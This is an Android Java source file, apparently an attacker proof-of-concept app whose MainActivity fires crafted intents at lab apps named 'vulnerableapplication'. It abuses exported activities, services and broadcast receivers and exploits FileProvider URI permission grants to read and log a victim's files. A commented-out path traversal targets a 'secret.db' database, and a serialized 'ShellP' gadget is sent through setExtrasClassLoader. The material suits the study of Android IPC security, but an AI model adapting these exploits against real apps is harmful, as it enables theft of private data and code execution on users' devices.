package com.example.exploitapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.annotation.SuppressLint;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;
import android.view.View;
import android.widget.Button;

import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.net.URISyntaxException;

import cn.test.wifiexploit.ShellP;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

//        grantUriPermissions_fileprovider(getIntent());
        Button btn_startActivity = findViewById(R.id.startActivity);
        Button btn_startService = findViewById(R.id.startService);
        Button btn_sendBroadcast = findViewById(R.id.sendBroadcast);
        Button btn_setExtrasClassLoader = findViewById(R.id.setExtrasClassLoader);
        new MyBroadcastReceiver().initBroadcast(this);
        btn_startActivity.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

//                Intent extra = new Intent();
//                extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
//                extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
//                extra.setData(Uri.parse("content://com.example.vulnerableapp.files_provider/root/data/data/com.example.vulnerableapp/databases/secret.db"));
//
//                Intent intent = new Intent();
//                intent.setClassName("com.example.vulnerableapp", "com.example.vulnerableapp.FileProviderVulnActivity");
//                intent.setData(Uri.parse("content://com.example.vulnerableapp.files_provider/root/data/data/com.example.vulnerableapp/databases/secret.db"));
//                startActivity(intent);


//                Intent intent = new Intent();
//                intent.setClassName("com.example.webviewapplication", "com.example.webviewapplication.VulnActivity");
//                intent.setData(Uri.parse("openapp://test:8000/detail"));

                Intent intent = new Intent("com.myaction", Uri.parse("openapp://test:8000/detail"));
//                intent.addCategory(Intent.CATEGORY_BROWSABLE);
                intent.addCategory(Intent.CATEGORY_DEFAULT);
//                Log.i("ActivityTaskManager",intent.toString());
                Log.i("ActivityTaskManager",intent.toUri(Intent.URI_INTENT_SCHEME));
                startActivity(intent);


//                    Intent intent = new Intent();
//                    intent.setClassName("com.example.serviceapplication", "com.example.serviceapplication.MyService");
//                    Log.i("ActivityTaskManager",intent.toUri(Intent.URI_INTENT_SCHEME));

//                startService(intent);

            }

        });

        btn_startService.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                Intent intent = new Intent();
                intent.setClassName("com.example.vulnerableapplication", "com.example.vulnerableapplication.Service.MyService");
                Log.i("ActivityTaskManager",intent.toUri(Intent.URI_INTENT_SCHEME));
                startService(intent);
            }

        });

        btn_sendBroadcast.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                sendBroad();
                static_broad();
            }
        });

        Button btn_provider = findViewById(R.id.start_provider);
        btn_provider.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                //隐式启动activity
                Intent intent = new Intent(MainActivity.this,otherproviderActivity.class);
                Log.i("ActivityTaskManager",intent.toUri(Intent.URI_INTENT_SCHEME));
                startActivity(intent);
            }
        });

        Button btn_grantUriPermissions = findViewById(R.id.grantUriPermissions);
        btn_grantUriPermissions.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
                intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION |
                        Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
                        Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION  |
                        Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
                intent.setClassName("com.example.vulnerableapplication", "com.example.vulnerableapplication.provider.grantUriPermissionsActivity");

                startActivityForResult(intent,0);
            }
        });

        btn_setExtrasClassLoader.setOnClickListener(new View.OnClickListener() {
            @SuppressLint("WrongConstant")
            @Override
            public void onClick(View view) {
                Intent evilIntent = new Intent();
                evilIntent.setClassName("com.example.vulnerableapplication",
                        "com.example.vulnerableapplication.Activity.setExtrasClassLoader");
                evilIntent.putExtra("activityImplName","fefewfewfewfewf");
                evilIntent.putExtra("x", new ShellP());

                evilIntent.addFlags(268435456);

                startActivity(evilIntent);

            }
        });
    }

    public void grantUriPermissions_provider_result(){
        try {
            String str = "content://" + "com.example.student"+"/input";
            InputStream is = getContentResolver().openInputStream(Uri.parse(str));
            byte[] buffer = new byte[1024];
            int byteCount;
            while ((byteCount = is.read(buffer)) != -1) {
                Log.e("Rzx",new String(buffer));
            }
            is.close();

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public void grantUriPermissions_fileprovider(Intent intent){

        try {
            Uri uriForFile = intent.getParcelableExtra(MediaStore.EXTRA_OUTPUT);
            InputStream is = getContentResolver().openInputStream(uriForFile);
            byte[] buffer = new byte[1024];
            int byteCount;
            while ((byteCount = is.read(buffer)) != -1) {
                Log.e("Rzx",new String(buffer));
            }
            is.close();

        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    public void grantUriPermissions_activity_result(Intent data){
        Intent intent = new Intent();
        intent.setClassName("com.example.vulnerableapplication", "com.example.vulnerableapplication.Activity.TestActivity2");
        startActivity(intent);
    }

    public void sendBroad(){
//                Intent intent = new Intent();
//                intent.setAction(action);
//                intent.putExtra("name", "zzw");
//                Log.i("ActivityTaskManager",intent.toUri(Intent.URI_INTENT_SCHEME));
        // intent:#Intent;action=com.zzw;S.name=zzw;end

        Intent intent = null;
        try {
            intent = Intent.parseUri("intent:#Intent;action=com.zzw;S.name=zzw;end",Intent.URI_INTENT_SCHEME);
        } catch (URISyntaxException e) {
            e.printStackTrace();
        }
        MainActivity.this.sendBroadcast(intent);
        Log.e("发送广播的状态-----","动态广播发送成功");

    }
    public void static_broad(){
////                Intent intent = new Intent("com.victim.messenger.IN_APP_MESSAGE");
        Intent intent = new Intent();
        ComponentName componentName=new ComponentName("com.example.vulnerableapplication","com.example.vulnerableapplication.BroadcastReceiver.MyBroadcastReceiver");
        intent.setComponent(componentName);
        intent.putExtra("from", "123456");
        intent.putExtra("text", "text");
        Log.i("ActivityTaskManager",intent.toUri(Intent.URI_INTENT_SCHEME));
        // intent:#Intent;component=com.example.vulnerableapplication/.BroadcastReceiver.MyBroadcastReceiver;S.from=123456;S.text=text;end
//        Intent intent = null;
//        try {
//            intent = Intent.parseUri("intent:#Intent;component=com.example.vulnerableapplication/.BroadcastReceiver.MyBroadcastReceiver;S.from=123456;S.text=text;end",Intent.URI_INTENT_SCHEME);
//        } catch (URISyntaxException e) {
//            e.printStackTrace();
//        }
        sendBroadcast(intent);
        Log.e("发送广播的状态-----","静态广播发送成功");
    }

    // 注册接收端

    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        Log.e("rzx","onActivityResult");
        super.onActivityResult(requestCode, resultCode, data);
//        grantUriPermissions_provider_result();
//        grantUriPermissions_activity_result(da0t0a);
        grantUriPermissions_fileprovider(data);
    }

}